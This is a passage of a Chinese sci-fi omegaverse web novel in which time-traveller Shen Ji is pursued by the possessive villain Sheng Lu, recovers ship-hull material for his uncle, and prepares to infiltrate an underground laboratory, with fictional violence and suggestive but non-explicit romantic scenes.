就算是enigma的沈继也感觉到自己身体内的变化，正如上一次一样，有点失控了。 圣路没有回话，一双占有欲的眼眸一直盯着他的后颈，像毒蛇盯着猎物。 “为什么不释放信息素？”圣路的声音不可置信，不明所以，语气中甚至带着一丝挫败。 沈继看着他，其实他的信息素已经被圣路的信息素勾引起来了，但因为来时，腺体上贴了导师的缓冲薄膜贴，将他的信息素屏蔽了。 这显然让圣路误会了。 毕竟，在信息素掌控生物情绪的时代，信息素的释放是人类情动的证明。 尤其圣路本身还是那种信息素极优质的omega，没有人能抵抗他的信息素。 现在他的“无动于衷”，对omega而言，不亚于是一种冷暴力了。 圣路简直是要悲伤泛滥的感觉了：“真的是没有信息素。” 沈继微微一笑，有种明明自己作弊了但对方却以为是自己太菜而大受打击的莫名爽感。 看来，就算是圣路这样的变态，也受不了信息素冷暴力啊。 “完全没有感觉。”沈继必须嘴硬，难道说他被这个变态给撩动了吗？ “怎么会……”圣路眼神中难掩惊愕。 盘在他腰上的长发缓缓松开，发丝飘落，圣路也放开他的手。 圣路这家伙不会是伤心了吧。 在短暂的沉默后，圣路突然释然一笑，神色平静，正常得不像话了。 “我知道了，没关系，会治好的。”他说。 ？ 在短暂的宕机后，沈继明白了他的意思，终于无语道：“你想多了好吧！” 圣路站在绿色林中仿佛圣光环绕，发出一声意味深长的声音：“哦？就当做是我想多了吧。” “废话……当然就是你想多了！”沈继忍无可忍。 圣路看着他那情绪波动的模样，露出一种心满意足的笑容，揽住他的肩膀，蹭着他的脸颊：“怎么回事，好可爱……” 就在这时，一束强光照耀猛然照耀在林间。厚重低沉的机械声音传来。 沈继抬头，见黑夜中一座巨大的飞舰停留在半空，类似于鲸鱼的造型。 是第五层的空中鲸鱼舰。 只听一声咔嚓的声响，在森林上方，一道巨大的八角环传送阵落下，透过树叶，光芒万丈。 上次沈继睡着了，没有看到第五层的鲸鱼舰，因此还以为是警察局的人。 “警察来抓你了。” “你又忘了，宝贝，警察不管我的事。”圣路向他一笑，眸珠右移，眼神又变得冰冷：“只是一些甩不掉的苍蝇。” 十几道身影从传送阵中走出来。 在强光的照映下，第五层的人看到山下城镇满目疮痍，尸横遍野。 其中一个男成员显然被这景象震惊到，愤怒地颤抖着：“圣路，你真是该死，居然连孩子都不放过！” 圣路背对着他们，神色阴沉，没有说话。 “他已经失去人性了。” “人鱼被灭也许确实是人类贪婪造成的，但事实已经造成，有必要赶尽杀绝吗？”另一个成员冷道。 他们看不见圣路的脸。 只有沈继看见眼前这个白发男人已经被杀意覆盖，他的眸珠呈现血红之光。 “是吗？我是可以放过人类的孩子……”圣路转过身面对他们，手伸向半空：“先把人鱼的孩子们还回来！” 璀璨的精神力从他的手中散发，凝聚成数条斑斓的怪物鱼，它们大大小小游弋在半空中，像在水中一样自然，两条长须类似风筝的尾巴。 细流闪电在这些尾巴之间隐隐呲呲直响。 “果然是怪物鱼，而且还是四条，为什么……圣路的精神力为什么又变强了。”第五层中，一个男人脸色凝重。 队长皱眉：“听上一任队长说，圣路精神力化作的怪物鱼，可以吞噬旁人的精神力，你们要小心。” 所有人都惊骇地看着眼前的恶魔，但没有一人退缩。 沈继看着两方人马。 不知何时，沙星的成员们也已经齐聚在圣路身后。 八角环的光芒照在这群亡命之徒身上，却犹如天使的光环。 第五层的成员聚起防护盾，警惕地看着怪物鱼。 这时候，只有成员中的一位队长还算冷静：“等等，在这之前，你们先放开那个人质。” 人质？ “……”沈继左右看了一眼，确定周围没有其他人，他说的该不会是自己吧？ “朋友，请你过来吧。”那位队长看起来倒确实十分担忧他的安全，甚至伸出了手。 圣路血色眼眸移了移，在队长身上落下两颗钉子，不屑做任何解释。 后面沙星成员中，有人噗嗤一声笑了出来：“神经吧，q，他可是我们领袖的男朋友。” q是小队队长的代号，第五层的几位队长都有不同的代号。 “没错，他可是千里迢迢特地来找我们领袖的。”另一个道。 听见这话，现在第五层的人也开始面面相觑。 沈继：“……其实不是。” 刚刚他被圣路按着亲的时候，这群混蛋不会全部躲在后面看戏吧！ 但没人听他解释。 毕竟政府已经发了通告，现在凯雅特森林成了死神居所，正常人是不会进入这片森林的。 而沈继的穿着也绝不是村民的打扮。 队长冷笑：“可是，我怎么看他很像是被强迫的。” 不得不说，能当队长的人眼光就是不一样。 圣路看着沈继：“你说呢。” “……”他能说什么。 “别威胁他，有我们在，他们不敢动你，过来吧。”队长伸出的手向他前进了一寸。 第五层的人也已经将防护盾扩大到沈继眼前的范围。 这就是离开的机会，有什么可犹豫的，沈继向前走了一步。 他看见圣路的侧脸毫无波澜，但眼底已凝聚阴影，冷意透骨，他绝对是怒了。 两条斑斓怪物鱼忽然张开大嘴，咬向了防护盾，电流通过它们的身体，噼里啪啦地覆盖在防护盾外表。 这攻击猛烈异常，第五层的成员差点坚持不住，只能艰难地加深了护盾，能量冲击之下，所有人的衣角飞扬。 队长的手离他仅有两米之隔。 沈继伸出了手，在这电光火石的世界下，余光瞥见了圣路的双眼。 那双血色的眼眸充斥着冷静的绝望。 沈继顿了一顿，停住了脚步，还是收回了手。 “？”队长一愣，第五层的人也惊讶地看着他。 圣路眸珠映着他的身影，眼底的阴影驱散开。 斑斓怪物鱼停止了攻击，一切平静下来，只剩一点风轻微动荡着树叶。 “果然是他在威胁你吗？”队长皱眉，义正严辞。 沈继闭上眼，无奈：“倒也没有，纯粹我有病别管我了。” “队长，他说他有病。” “有病”这个词，在歌雅，没有任何调侃的意思，所以说自己有病的人，真的就是意义上的有病。 “……”沈继觉得这次穿越的时机完全错误。 圣路伸出两根手指抵住了嘴唇，也掩盖不住上扬的嘴角，仰起的眼神中更加得意。 少有的克制了笑意。 最后，第五层几乎所有人都有不同程度的损伤。 “队长，梵西的精神海快撑不住了！”有人焦急喊道。 那个叫梵西的女孩摇摇头：“没关系，我能撑得住，队长。” “别强撑。” “梵西不行了，队长，我们得赶紧去找神疗师！” 队长这一分心，怪物鱼彻底击破防护罩，一瞬间，里面维持能量的几个成员，精神海也都遭受了重创。 八角环传送阵再次开启，光芒照耀在第五层成员上。 “梵西，请再坚持一下。” “快，到了总部，立刻去神疗部找沈越！” 在七嘴八舌之间，沈继听见他们谈及神疗师，以及沈越的名字，心里一紧。 沈越，是他父亲的名字。当年的沈越就是歌雅人类中的神疗师。 这么说，第五层跟沈越是完全有关系的。 “等等我……”沈继心念一动，跟着他们上前，却被一只手按住了。 “亲爱的？”让人不寒而栗的一声语气，不用想也知道是谁。 “是想去找沈越吗？” 沈继转头，警惕地看着他。 他可以确定没在任何人面前提起过父亲的名字。 就连劳埃斯他们也不曾知道。 看见沈继警惕的眼神，圣路的脸色立刻晴转阴。 他冷笑着，压制着内心深处的妒火：“你去找他做什么呢？” “我去找他看看病。” 圣路了然一笑：“亲爱的，沈越是神疗师，不是治你那方面毛病的。” 沈继：“？” “我听说有时候精神海受伤也会引起那方面的心理阴影，进而影响正常的性·生活。”驼子不合时宜地说道。 沈继额头青筋直冒：“闭嘴吧，完全没那回事好吗？” 他越是这样暴躁，圣路就笑得越是变态，甚至宠溺道：“放心，宝贝，我会让他们不乱说话的。” 他们？ 沈继转头，看了一眼八角环里呆愣住的众人，都整整齐齐地看着他呢。 这些家伙还没走啊。 沈继想捂住自己额头。 有人道：“您要找沈越先生是吗？沈先生在精神海各方面的治疗确实十分专业。” 这时候，所有人对他都格外体贴了：“来吧，朋友，我们捎你一程，只要你不是沙星组织的人。“ 沈继：“……”没有必要了吧。 博爱的队长又伸出手了：“我知道沈先生在哪里，来吧。” 现在他更加怀疑，沈继一定是被沙星组织胁迫的了。 一定要把人带回去才行。 沈继已经失去了所有辩解的精力和手段。 这糟糕的世界，他甚至想倒头就睡了。 突然，q队长接了一通电话，与那边人谈话时，他的目光落在沈继脸上，由惊讶到神色复杂。 最后，他挂了电话：“沈继，这次你必须得走了，国联部的人找你。” 沈继还是如愿上了鲸鱼舰。 临走的时候，圣路居然没有阻止他。 在八角环传送阵下，沈继回头，看见圣路的眼睛被黑暗的树影挡住，只有嘴角勾着一个略显变态的弧度，他张开嘴无声地说着什么。 看唇形，他说：“马上就可以了，别着急，圣路。 他在自语自言，还是真的在跟恶魔对话。 沈继突然有些不好的预感。【你现在阅读的是魔蝎小说 moxiexs】 第20章【VIP】 第20章 第二十章 极致快乐。 “哦？有那方面的病？” 第五层分部, 神疗部的助理小心翼翼地看了一眼队长，又看了一眼沈继。 果然，无论在哪个时代, 人们对于这方面的事情都是羞于表达，难以启齿的。 沈继已经无所谓了，只要能见到他爸就行。 “但是, 沈越先生前几天才去空间站，至少要半个月才回来，而且，找沈老师必须提前预约，现在的预约都排到明年了。”助理为难道。 “算了。” 沈继本来就困, 全是靠着一股即将见到老爹的兴奋劲在撑着他不闭上眼，现在一听见这话，也熬不住了。 Q队长还以为他是不自信了，连忙劝他：“呃, 其实其他神疗师也很厉害的，不试试吗？” “……不用。”沈继默默扒开他放在肩膀的手。 队长挑眉：“那好吧，那就直接跟我来吧。” “去哪？” “找国联部部长, 沈衣先生。” ———— 歌雅太空站。 如今歌雅的空间站规模成熟且庞大，遥遥可见一艘巨大的宇宙飞船正停靠在空间港上。 沈继站在空间站外围的舷窗旁, 望见歌雅星球的辽阔绿色，大气层之上漂浮着细小的灰尘和火山灰烬，四周可见一片灰蒙蒙的细小颗粒, 与站在大地上所看见的蓝天白云完全是两个世界。 队长带他走到一间办公室前, 门口挂着国联部部长办公室的铭牌。 “您要找的人来了。”Q队长向里面的人说完，就退了下去。 沈继随即看到自己那谋面极少的二叔本人，也就是对面穿着太空军装的男人——沈衣。 歌雅末世前, 在人们还没意识到危险降临时，沈衣就力排众议提出举全民之力研制逃生飞船。 而现在这个时间，末世威胁已经来临，验证了沈衣的预言。 人类确实也已经被末世的恐惧笼罩，各国都正全力合作建造逃生飞船。身为国联部长的他，怎么有时间找他一个“毫不相干”的陌生人？ 除非他二叔有预知未来的本事。 沈继望着头顶，试探性喊了一声：“二叔？” 沈衣一脸凝重深邃加挑眉。 “……”看来现在的二叔确实还不认识自己。 沈继都给自己无语到了。 沈衣拿出一张通缉令：“沈先生，这是您吧。” 沈继拿过通缉单。 【沈继，SS级通缉在逃犯，特大重罪，重罪，曾收监沼泽监狱，之后与几位狱友越狱逃离，有消息者可向有关部门告知，制服此人者，赏金∶400万晶币】 这单子至少有些年头了，看通缉令日期，是4212年的，现在他穿的时间是4218年，也就是六年前的通缉令。 上面自己的头像都已经模糊了。”这能说明什么？我怎么觉得这头像画的也挺像你的。”沈继故意和他二叔耍赖。 反正，不是说歌雅人类大部分是脸盲吗？ 他们都是黑发黑眸，更别说本来就长得像了。 “别担心，我只是想请你到太空站上坐坐。”沈衣按住他肩膀：“有些问题，需要你来解决。” “什么？” “上来的时候，你也看到了，现在的大气层和你在地上看到的完全不一样。” 沈衣向他解释：“因为第一颗陨石跌落导致火山爆发，产生的火山灰影响了大气层，为了安抚民众，我们不得不利用天幕投影制造虚拟天空。” “第一颗陨石？你是说以后还有第二第三颗？” 沈衣点头：“歌雅本身就处于不稳定的陨石带，所以常有陨石降落，最大的陨石灾难将会在十年后到达歌雅，到时候歌雅已经不适合人类生存，幸好我们的飞船技术已经趋于成熟。” “那你带我来做什么？我又有什么能帮得上忙的？” “既然都已经到空间站了，你应该知道我想要的是什么才对。”沈衣看着他，目光深邃，暗含一丝警告。 沈继当然不明白：“我应该知道你想要什么？从来没有应该不应该。” 当然，二叔现在还不认识自己，他必须得原谅他，还不能甩脸色。 “七年前，也就是通缉令的前一年，你闯进了一座地下实验城，那里藏匿着数十份影响巨大的实验成果，你杀了十几名科学家和无数守卫，抢夺了一批实验资料，其中有一份材料，关于飞船外体契合材料的研制与开发，那就是我们需要的材料。” 沈继坐在他对面，觉得荒唐：“你是说，我跑进一座地下实验城，抢了你们需要的实验材料。” 沈衣点开一片立体屏幕：“实际上，那是一座非法实验城，很可能是巨神教的教徒在研制这些东西，你捣破了实验城，导致很多实验室和实验项目被公之于众，我们才知道，巨神教和富人们早就在研制逃出歌雅的工具。” 沈继越听越好笑：“你是说我专门跑到荒郊野外的什么地底实验城，杀了一堆人，就为了什么破实验材料，你们大概都认错了，只是一个和我一样黑发黑眸的人干的罢了。” 拜托，星际时代都开始宇宙航海了，学校的导师也不可能布置任务，让他们去找什么古早飞船的外壳材料。 “歌雅人是脸盲，但不是所有歌雅人都脸盲，比如，我们沈家的人没有脸盲症。” 沈继有些意外，原来歌雅人也知道自己有脸盲的毛病。 “这些年我们一直在找你，可你简直像是凭空消失蒸发，要不是昨天第五层的人给我发了信息，我还以为你死了。” 沈继看着屏幕，在上千份资料图片中，看见一闪而过的人鱼图片。 他点开那份资料，显示出一大片关于人鱼实验的材料。 那惨不忍睹的画面，让人感到一阵眩晕和不适，就算是没心没肺的沈继，也不忍细看。 “他们全部是人鱼。” 沈衣不明白他为什么会这么震惊：“这些细节你不是当时亲眼看见过了吗？” “是吗？人真的能这么残忍吗？” 沈衣脸色凝重：“这只是一小部分，还有更多不能公布的画面，这世界上还有什么比人更残忍的吗？” “真可笑，人鱼不是一直被政府保护的吗？” 沈衣闭上眼，叹了一声：“这些年，各国政府将全部人力资源用来应对末日的来临，第一颗陨石降临时，人类社会长达四年动荡不安，高官权贵则报复性享乐，对人鱼屠杀更加肆意疯狂，等到政府反应过来时，人鱼已经接近灭绝了。” 沈继翻过一张又一张实验室的旧照，感到心跳猛然的收紧。 “巨神教早晚会覆灭在沙星和圣路手上，现在当务之急是那份材料，请你告诉我在那里。” 沈继看向他：“我也想帮歌雅人度过难关，可是我没有你说的那份材料，总之现在没有，不论你信不信。” 沈衣微微一笑：“对了，听说你想找沈越，要治疗你某些方面的疾病？我们做个交易吧。” 沈继：“我没病。” 沈衣笑道：“沈越是我哥，只要你拿出材料，我让我哥保证给你治好？如何？” “……我没病。” “他比较忙，想找他治疗的人实在太多了，你估计要排到明年了，只要交出材料，我保证第二天你就能见到他了。” 沈继看着侃侃而谈的沈衣：“……” 你倒是听我说话啊。 小时候对二叔的滤镜都快破碎了。 他现在恨不得把沈衣摇醒，大吼：哪只眼睛看见我某些方面有病了！？ “怎么样？”沈衣还看着他。 “十天，或者最多一个月。”按照穿越机器启动的时间，他还得在这个时间点呆上一段时间，导师才会让他们回来。 “你只需要告诉我，你把材料藏在哪里。” 沈继无奈地笑，二叔当然不会相信自己的话，可是要怎么说呢，就是现在穿越过去，也得先存好地方。 不……等等……他好像陷入思维局限了，为什么非得先存好才能知道地点，为什么非得先有因才有果。 过去，未来，现在，都是他，他完全可以先知道果，再去造因。 如果真是他拿到了材料藏在了一个地方，此时的自己已经知道了这件事，后面的自己再穿越到过去，按照已预知的结果放在同个地点，现在那个地点就一定有那个东西。 “把实验室周围的成像推给我看。” 沈衣点开成像，房间内变成一片荒废的旧址。 沈继推进成像，点开旁边一片茂密的树林，听见鸟鸣和风吹树叶的声音。 这应该是当初地底实验室外面的树林。 沈继道：“我大概知道我藏在哪里了，我带你们去。” 他希望那里真的有。 那片实验室在歌雅的D国。 沈衣亲自和他去，以及当时的两位著名的太空科学家，几个人乘坐穿梭舰，从空间站出发。 穿过虚拟的影层，由污浊的天空到虚拟的蓝天白云。 沈衣神色俨然：“歌雅即将耗尽她最后的能量，就算没有最后的陨石，这样的大气层还能支撑多久，如果没有飞船，歌雅人类将永远覆灭。” 沈继被他的凝重的情绪感染，道：“歌雅文明不会覆灭，总有一天，歌雅星球也会恢复她的美丽。” 十万年后的星际世界，歌雅不仅美丽富饶，拥有许多生命，更是联邦和帝国的必争之地。 沈衣笑道：“我已经跟我哥说了，他现在在另一个空间站，等拿到材料，我亲自带你去找他。” ———— 地底实验城旧址，森林。 这一片森林还未开发出城镇，由于当年死了很多人，流传许多恐怖传说，几乎没有普通人来这。 沈继走在这片茂密的树林里，心想∶我既然藏了东西，应该要做一个显眼的记号，对了……人鱼的尾巴。 最后，沈继在一块矮山坡东边，找到了人鱼尾巴的标记，在下靠近地底的石缝下找到了一团用纤维材质裹着的东西。 袋子外表带着一些灰尘和青苔。 不过后来，沈衣拿到这东西检测到的结果正不正确，他就不知道了。 反正沈继一到穿梭机上，就熬不住睡着了。 清醒的时候，他没有睁开眼，感觉脑子还昏沉沉的，完全是睡眠不足。 沈继用精神力感知周围，房间内光线昏暗，应该是第二天夜晚。 他能感觉到自己躺在柔软的床上。在一个三十平方左右的房间。 这大概是沈衣办公室后的房间，空气中有沈衣的气息。 作为Enigma，对同为Enigma的气息十分敏感。 有亲人的气息，让沈继感到久违的放松，他连眼睛都不想睁开，觉得自己还能再睡一会儿。 可是天生的警惕性还是任由精神力像气球一般膨胀感知。 头顶上有一盏吊灯，床头柜放置着绿植，左边有一道窗户，右边…… 嗯，右边有人。 他的精神力在对方身上探寻。 从身型来看，大概是二叔。 他坐在旁边的皮质沙发上，皮鞋，长裤，二郎腿，修长的右腿叠在左腿上，右手手心放在膝盖上，左手手肘就靠在扶手上。 这个姿势沈继似曾相识。 直到一声轻笑传来，完全是熟悉的变态氛围。 迷迷糊糊的沈继猛的睁开眼，往旁看去，一双石榴红的眼睛就这么明晃晃地撞进他视线里。 “这样用精神力摸我，我会很难受的。”圣路用舌尖顶着上唇，从口中发出一声清脆的声响。 “没事吧。精神力就精神力，怎么就摸你了？” “不过瘾。”圣路有些遗憾的表情。 “……你怎么进来的？” 这里是沈衣的房间，圣路再怎么神通广大，也不能直接无视国联部吧。 圣路站起身，落在沙发上的长发随之垂落在身后。 “用脚走进来的。” 他从凯雅特森林到空间站，再和二叔从空间站坐穿梭机到D国，跨越一万多公里，再到这间房，圣路如何得知呢？ 沈继怀疑：“你不会一直在跟踪我吧。” 圣路歪头，张开双手，好像是承认了。 沈继躺回床上，手臂放在额头上，真是遇到恶魔了啊。 就这一秒的瞬间，身上一重，圣路已经坐在他腰上。 速度之快，给沈继打个措手不及。 “坐在别人身上很有礼貌吗？”沈继额头一抽。 “你为什么会觉得我是讲礼貌的人？”圣路俯下身，头发丝滑垂下笼罩在沈继脸侧。 “下去。”沈继冷眼看他。 以他对圣路性格的了解，不狠狠冷他一下，他就以为自己在跟他打情骂俏。 圣路的长发已经缠上他的手臂，沈继一直觉得圣路的头发像触手一样，有自主性，缠在他腰上的时候，甚至和他的怪物鱼一样，会吃人。 “下去！”加了感叹号。沈继觉得自己态度已经很强硬了。 圣路神情怔了一下，露出受伤的表情，双眼可怜地看着他。 沈继预感到不妙。 果然，圣路露出一个得逞的笑意，他是下去了，不过是从他腰部下去到他胯上。 还从喉咙里发出了一声令人想入非非的喟叹，苍白的脸色泛起一丝云红。 “好宝贝，我好想你。” “……” 沈继本想伸手推他，但想起上次推他，直接给圣路这变态干到糕潮了，手伸到一半又顿在半空。 见他不动，圣路的长发绕住他的手拉过去，握住他的手，使他抚摸自己的脸庞：“摸摸这里吧。” 沈继感觉到他的臀部隔着布料，完全贴在自己身上，暗自使着巧劲。 沈继年轻，平时性格冷淡，不爱理人，就算身为Enigma，也没有任何恋爱经验，更别说和一个这样优质的omega这样近距离的接触。 之前圣路调戏他，虽然变态但有度，现在这样反而显得正常，而且就是奔着擦枪走火的姿势来的。 房间内，omega的信息素狂烈而热情地包围着他，不遗余力地撬动着他的理智。 薄膜缓冲贴显然没有之前的效果，Enigma的信息素隐隐约约地泄露出来。 如果是威慑信息素就罢了，可是这是交合信息素。 “亲爱的，你的信息素只要一点点都能让人发疯，知道吗？”圣路的喘息声腻人，眼神迷离。 沈继觉得自己有点不太对劲了，他的信息素除了家人，还没给任何人闻过，尤其是给一个omega。 因为是特殊的Enigma，沈继从小受到的教育就是，交合信息素只能属于伴侣，如果让别人闻到，会给别人带来很大的困扰和误会，也会给自己带来更大的麻烦。 圣路低下头，两张脸近在咫尺。 沈继看见他那双石榴红的眼眸充斥着浓重的占有欲，看见他的脸色在迷离恍惚之中透出一丝阴沉，放下狠话：“所以……不准给别人闻。” 说完，他故意塌下腰，双手撑在沈继胸膛上，动了一下，感觉到他某处明显的变化，笑得意味深长：“看来，亲爱的，病也好了吧。” 沈继一句话都不想说了。 他觉得自己好像被大恶魔强制爱了。 就在这时，门外响起了沈衣的声音：“沈继，你醒了吗？” 像惊雷扰动了春天的草露，沈继一惊，就要推开身上正撒欢的人。 圣路先一步按紧他，抬起一根手指放在唇上。 一双地狱手将房间门的机械栓括按下，门从里面锁了。 这死变态要干什么。 沈衣的声音带着疑惑：“还没醒吗？” 沈继没敢开口。 就这个一览无余的房间，有外人进来，他根本无处可躲。 圣路可以不要脸，可他还不想社死。 再看圣路那乐在其中的表情，他明显是觉得更刺·激了。 就在这时，他听到了门外另一个声音：“或许是累了，我们再等等吧。” 这既亲切又熟悉的声音，沈继第一时间就确定，这是自己亲爸的声音。 “他都睡一天一夜了。” “有些精神海疾病，就是会嗜睡的。” 他们在房间外面说话，完全不知道房间内浓烈的信息素，和被大恶魔压在身下紧紧抱住的沈继。 沈继慎重地听着外面人的对话，一手抓住了身上那双乱动的手，眼神带着警告的意味。 他越是这样，圣路就越是兴奋和颤抖，英俊的脸庞笼罩着一层薄薄的汗，甚至有暧昧的喘息。 沈继立刻捂住他的嘴。 沈衣道：“这小子跟我们一样姓沈，长得也很像，差点以为是咱爸落在外面的私生子呢。” 沈越笑道：”编排他老人家，你小心天打雷劈。” “真的呀哥，我看见他觉得可亲切了，你看见了也会喜欢他的。” 两人的声音随着脚步声渐行渐远。 这些话被圣路听在耳中，完全是另一个味道。 他俯身在沈继耳边，轻声道：“你挺受欢迎啊。” “死变态……”沈继骂他。 此话一出，圣路那张英俊的脸又开始显出他病态的爽点，连耳鳍都若隐若现：“多骂，我好爱听。” “变态……你这么变态是天生的吗？” 让他骂他就骂吧，总不能为了不让他爽，就压抑自己。 圣路毫无征兆地亲吻他嘴唇，沈继也没有过多地躲避。 事到如今，虽然没有实质行为，但该摸的基本被摸过了，还差亲吻吗？ 如同烈火燃烧枯草的脆裂，浑身细微的颤抖，圣路的手隔着布料抚过他的肩颈和手臂，胸膛起伏着，舌尖不断撩拨牙齿，舔舐他的唇瓣。 圣路感觉到Enigma的信息素越来越浓，他眼中显出一种得逞的笑意，仰起头，感受到年轻的Enigma已经被这个吻攻陷，滚烫的吻正亲吻自己脖颈和耳朵。 圣路呼吸深喘着，没有一丝伪装，眼神迷茫，脑海中全是快·意。 越来越多的信息素在侵占，怂恿，口干舌燥，浑身滚烫，手心抱住他的后脑，任由他无所顾忌地啃咬着自己的皮肤，鼓励他在自己柔软的锁骨边缘加深着吻势，圣路几乎要在这种极致的快乐中尖叫出来。 他的眼神失去了焦点，茫茫然地抓紧他的短发：“好……爽……” 此时此刻，与其说真情，倒不如说Enigma和omega都被信息素占有着理智。 圣路是血脉返祖的人鱼，他的交合信息素带来的吸引力，在自然界中，都堪称无可比拟，无人能拒。 沈继在这种强烈欲望和理性的拉扯之中，渐渐失去理智。 然而，就在这旖旎的时刻，一阵猛烈的心悸使他瞬间清醒过来。 视线中的场景天旋地转，热烈而浪漫的氛围荡然无存，仿佛梦境清醒。 看起来是穿越机器又启动了。 他放开了圣路。 突然手上感到一阵锐痛，是圣路抓住了他的手，然而因为穿越的力量太大，根本无法抓住他，圣路的指甲因此刮破了他的手心。 直到最后，沈继也只看见，圣路向他伸手的画面，那一双眼睛罕见地充满失落和不甘。 再一次经历空间逆转的头晕目眩后，沈继已经有了经验，他闭上尚且沾染欲望的双眼。 再次睁开眼时，Enigma的信息素已经收敛干净。 导师和雷伊他们都站在空间站内。 雷伊还向他招手：“嗨！就差你了。” 导师道：“很抱歉，因为这次穿越的时间又错了，为了避免像上次一样耽搁太久，所以才紧急让你们回来。” 沈继低头捂住了额头。 “怎么了？”雷伊关心道。 “别说沈继了，我们才穿过去几天，刚适应了环境，又突然穿回来，我的脑子一片雾蒙蒙的，好像撞烂了的豆腐。”沙墨有气无力。 沈继只是低着头不说话，虽然他是沉闷的人，但是从没有这种表情啊。 就这么一低头，劳埃斯已经看见了沈继衣服领口露出来的草莓印。 雷伊摊开手，向劳埃斯和沙墨无声吐槽：【我看他是没能杀了圣路，还被人家疯狂调戏了。】 雷伊：╮(︶﹏︶)╭ 沙墨：﹏ 劳埃斯：+_+ 对一切还不明所以的导师：我是不是错过了什么不得了的事？ 沈继暗自嘲讽，说的没错，原本有机会可以杀死圣路，但却错过了最佳的机会，反而被对方按在树上啃了一口耳朵和脖子。 明明可以借着人质的身份离开，但却因为心软，而拒绝了！ 最后爸爸的面也没有见上，反而和圣路差点擦枪走火，尤其是两个人的交合信息素几乎可以说是坦诚相对了。 明明是要追杀圣路，却窝囊地被人勾到了，简直是蓄了一把螺旋升天，法力无边的大招，最后打在棉花上的无力感。 这么想来，被所有人误以为是杨伟其实无关紧要了。 史上最失败的追杀者→沈继此刻再一次用力按住了自己的额头。 “你怎么了？沈继？”雷伊惊讶地看着他：“我从没看见你这样。” 要知道沈继是个彻底的行动派，就算是天塌了，他也只会毫不犹豫地跳进海里，更别说现在这幅内耗的样子了。 沙墨沉吟：“他好像被夺舍了一样。” 导师闭上眼，眼不见心不烦地道：“我们把机器调试好，至少还要几个小时，你们先休息。” 雷伊表示抗议：“我们都完成一项任务了，总该让我们歇几天吧。” 在和沈继分开的这几天，雷伊和劳埃斯他们拿到了新的Enigma基因。 “你们以为穿越机器能随时启动吗？最好不要浪费机会。” 沈继忽然道：“我有件事。” 他难得发问，导师有点惊讶：“什么事？” “我想申请到歌雅4211年。” “歌雅4211年，你想去那时候的歌雅？可我们去的本来就是4212年，差一年有什么区别吗？” “有区别。” 导师皱眉：“？” “我想去。” “国王说过，可以给你们行使特权，但你得说理由。” 沈继没说话。 按照二叔的说法，4211年，是他进入地底实验城，藏起材料的时间，他得去完成那件事。 而且，据他所知，4211年，这时候的圣路还没有觉醒天赋异能，没有出现在大众视野，没有成长为变态，没有恐怖的精神力，更不是什么沙星组织的领袖。 捏柿子当然要挑它软的时候捏。 最重要的一点，已经不是杀了圣路，而是他该搞清楚，自己和圣路的过往究竟有什么纠葛。 沈继只顾着沉浸在自己的世界，剩下几人虽然知道他的目的，但也不知如何跟导师解释。 还是劳埃斯先开口：“4211年，那个时候，歌雅人民还没遭到末世的威胁，环境还没有遭殃，有些异能者还没出现，Enigma的基因也还不受影响，而且，我们错开了时间，也能够避免和联邦的人起冲突。” 雷伊和沙墨两个头脑简单的只能跟着附议了。 导师睁只眼闭只眼：“好吧，我可以答应你们，但如果有任何异常，我随时会让你们回来。” ———— 歌雅，4211年。 “我们到的时间对吗？”沙墨道。 沙墨抬起光脑，稀奇道：“居然对了，真的是4211年。” “在这之前，我一直以为穿越机器是个歪货呢。”雷伊道。 沈继抬头，看见了歌雅真正的星空。 在之前两次穿越，歌雅的天空虽然漂亮，但其实是人造的。 头顶上是巨大的天体和数不清的星星，天体周围的天空五彩斑斓，一颗卫星散发着美丽的光芒。 他们站在草原上，感受到来自旷野的气息和宇宙的凝视。 “我们在哪里？”沈继问。 “还是在D国。”劳埃斯确认好位置。 “我要去红雾森林。” 那片地底实验城，就在D国的红雾森林下。 沈衣给他看实验城废墟的成像时，那片地区的详细路线，沈继还暗自记了下来。 他现在去，也许还能找到地底实验城的位置。【你现在阅读的是魔蝎小说 moxiexs】 20-30 第21章 第二十一章 请咬我吧。 红雾森林, 顾名思义，这里常年泛着红色迷雾，树高水深, 野兽出没，人迹罕至。 在巨树根系虬结交错的泥土底下，还分布着密密麻麻的实验室和暗哨。 那里是一座完全完善自洽的实验城, 包括各种生物实验，化学实验，和人体实验，其中也包括最残忍的人鱼实验。 沈继原本是打算自己进入地底实验城，让他们在外面接应。 但被雷伊制止了：“你可是我们队的武力值担当, 我们得跟着你啊。” “何况，这里这么严密，你再厉害也不可能一个人进去的。”劳埃斯也道。 沈继觉得有道理：“那好，有什么危险就光脑呼救。”说完就要进去。 劳埃斯觉得他也太行动派了, 拉住他无奈道：“等会！你不计划一下进入的方案？是打算带着我们几个人硬闯碉堡吗？” 沈继精神力高，在歌雅也基本上可以无视一切风险和阻碍，但雷伊和沙墨不行, 劳埃斯做事也是需要详细规划。 “我们至少得先拿到实验城的内部地图和守卫分布。”他说。 沈继道：“我有。” “在哪里？” 于是沈继当场在光脑的画布上画出了整座实验城的地图，具体详细到发电站和通道口, 甚至有多少个废物回收处。 几个人像看怪物一样的眼神看着他。 这至少是一万多个平方的空间，如果只是把大概的分布情况画出来，那还算说得过去, 但是沈继却是把每个分区的结构和具体尺寸都标记出来了, 过程中没有一点停顿犹豫。 “你怎么做到的？”劳埃斯和沙墨都惊愕地看着他。 只有雷伊一脸淡定，他跟沈继认识得最久，已经从震惊到崇拜到淡定了。 用土得掉渣的话来说就是, 长得帅只是这位身上最微不足道的一个优点。 沈继也不隐瞒：“上次在歌雅，有人推给我看过，我就记住了，关于守卫的分布，我不清楚，不过，只要知道入口就行了。” 短短两句话，让几人都沉默了。 “为了保证万无一失，至少要两个小时提前计划一下。”劳埃斯道。 这种事情，劳埃斯比较在行，沈继也没有异议。 两个小时后。 “就从这里开始吧。”劳埃斯点向实验城的一间水源过滤处理中心。 这是整座实验城中，最不起眼的地方。 “而且这地方靠近外间的水库，应该也是守卫最弱的地方，如果我们顺利通过这里的通道，雷伊和沙墨需要进入娱乐室，到达发电站，我去负责消防屋拉动警报，吸引守卫的注意……” 【沈继只需要找到自己需要的东西，离开就行。】 虽然劳埃斯是这么说的，但沈继没打算这么简单地离开。 从沈衣那里回来后，沈继一直有个念头，就是到人鱼实验室去。 他虽然没有明确的想法一定要去破坏，或者解救，但他确定自己应该去看看。 拿到那片飞船契合的特殊材料并不算困难。 大概是因为现在末世还没真正降临，实验城对于这个年久的项目有些松懈。 可能是劳埃斯拉动了警报，一大部分守卫已经向着消防屋去了。 